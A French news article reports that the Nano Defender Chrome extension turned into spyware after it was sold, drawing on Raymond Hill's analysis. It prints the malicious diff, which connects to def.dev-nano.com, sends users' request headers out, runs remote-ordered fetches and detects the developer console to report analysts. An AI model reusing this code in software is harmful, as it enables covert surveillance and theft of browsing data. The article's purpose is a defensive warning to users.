L'extension Nano Defender doit être supprimée de toute urgence du navigateur





Le 3 octobre 2020, le programmeur jspenguin2017 , l'auteur de l'extension Nano Defender, a annoncé dans le référentiel officiel qu'il avait vendu le projet à un «groupe de développeurs turcs». Ce message a suscité beaucoup de rumeurs et de craintes: qui sont les développeurs turcs, qui contrôlent le code, pourquoi la page de politique de confidentialité a-t-elle été supprimée du référentiel?



Quelques jours plus tard, les craintes de la communauté étaient pleinement justifiées.



Nano Defender est un moyen assez populaire de contourner les bloqueurs de publicités. Fonctionne en conjonction avec les bloqueurs uBlock Origin et Nano AdBlocker (fork d'uBlock Origin), les protégeant de la détection sur les sites.



Les Turcs ont rapidement publié une nouvelle version de Nano Defender 15.0.0.206 avec des modifications de fonctionnalités soigneusement déguisées qui n'ont pas été publiées sur GitHub. Un examen attentif de ces modifications indique que l'extension doit être désinstallée pour tous les utilisateurs.



La recommandation s'applique aux navigateurs Chrome et Chromium, où les extensions sont automatiquement mises à jour sans en informer l'utilisateur. Les Turcs n'ont pas acheté la version Firefox. Le mainteneur des extensions Firefox Nano, le développeur LiCybora , a confirmé qu'il en garde le contrôle:ces extensions sont sûres . De plus, Firefox vérifie les signatures numériques des extensions , il n'est donc pas facile pour un code malveillant de pousser dans une nouvelle version d'une extension.



L'auteur d'UBlock Origin, Raymond Hill, a analysé les modifications apportées à Nano Defender 15.0.0.206. Il a noté que du code a été ajouté pour détecter le lancement de la console de développement de l'extension. Dans ce cas, une notification est envoyée reportau serveur https://def.dev-nano.com/. En d'autres termes, les propriétaires gardent une trace de ceux qui essaient de comprendre comment l'extension fonctionne. Avec un degré de probabilité élevé, dans ce cas, l'extension change sa fonctionnalité.masquer certaines fonctionnalités est une astuce standard de malware qui détecte la présence d'un environnement d'exploration tel qu'un environnement virtuel.



Dans une telle situation, Raymond Hill a dû apprendre les fonctionnalités de la nouvelle version de Nano Defender sans console de développement. Voici ce qu'il a trouvé.



Au démarrage, l'extension écoute les https://def.dev-nano.com/messages pour remplir la liste listOfObject.



Pour autant que vous puissiez comprendre le code, dans ce qui suit, le contenu de la liste listOfObjectest utilisé pour vérifier les champs de l'objet detailsqui est passé à webRequest.onBeforeSendHeaders () . Si tous les champs remplissent la condition, alors tout le contenu de l'objet est detailsenvoyé https://def.dev-nano.com/sous le nom handleObject.



Dans ce cas, le gestionnaire webRequest.onBeforeSendHeaders()agit pourtoutes les demandes du réseau:



chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);


Puisqu'elle est listOfObjectdemandée à un serveur externe, la fonctionnalité de cette méthode est installée en externe. La liste peut contenir toutes les conditions dans n'importe quelle quantité. En gros, les propriétaires d'extensions peuvent demander des fragments de trafic réseau sortant à partir du navigateur à leur discrétion. Ainsi, l'extension Nano Defender est effectivement devenue un renifleur d'espionnage polyvalent.



Raymond Hill a publié un diff qui n'est pas disponible dans le référentiel des nouveaux propriétaires :



diff pour core.js
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //


Les développeurs turcs ont publié une nouvelle politique de confidentialité pour l'extension. Conformément à cela, l'extension recueille et transmet de nombreuses informations au serveur distant, y compris les adresses des pages visitées, l'heure de session sur chaque page, l'adresse IP de l'utilisateur et d'autres données. Auparavant, une telle clause n'existait pas dans l'accord de confidentialité.



En général, la vente d'extensions est une source de revenus courante pour les développeurs indépendants. Après l'installation de l'extension, de nombreux utilisateurs ne savent pas que l'extension a été achetée par les nouveaux propriétaires et que leur ordinateur est déjà utilisé dans un projet extérieur.



Par exemple, les propriétaires du service proxy SmartProxyoffrent à leurs clients l'accès à un réseau d'adresses IP domestiques, qui compte environ 40 millions d'adresses IP - la plupart des nœuds sont situés sur des ordinateurs d'utilisateurs sans méfiance. Ces ordinateurs personnels sont utilisés pour le trafic proxy des clients payants.







Un autre réseau Luminati utilise des ordinateurs pour les particuliers qui ont installé l'application gratuite HolaVPN comme points de sortie. Ce réseau achète également des extensions de navigateur populaires .



D'un point de vue juridique, l'utilisation des ordinateurs domestiques «aveugles» des utilisateurs pour pomper du trafic commercial est un événement très douteux. Mais les hommes d'affaires parviennent toujours à éviter les punitions.



Quant au programmeur jspenguin2017 , la communautéa dénoncé ses actions irresponsables pour vendre l'extension, car des dizaines d'autres développeurs étaient impliqués dans le soutien et l'inscription de Nano Defender. Il s'avère que jspenguin2017 a monétisé à lui seul les heures-homme du travail de quelqu'un d'autre.



L'extension Nano Defender a déjà été supprimée du Chrome Web Store.



All Articles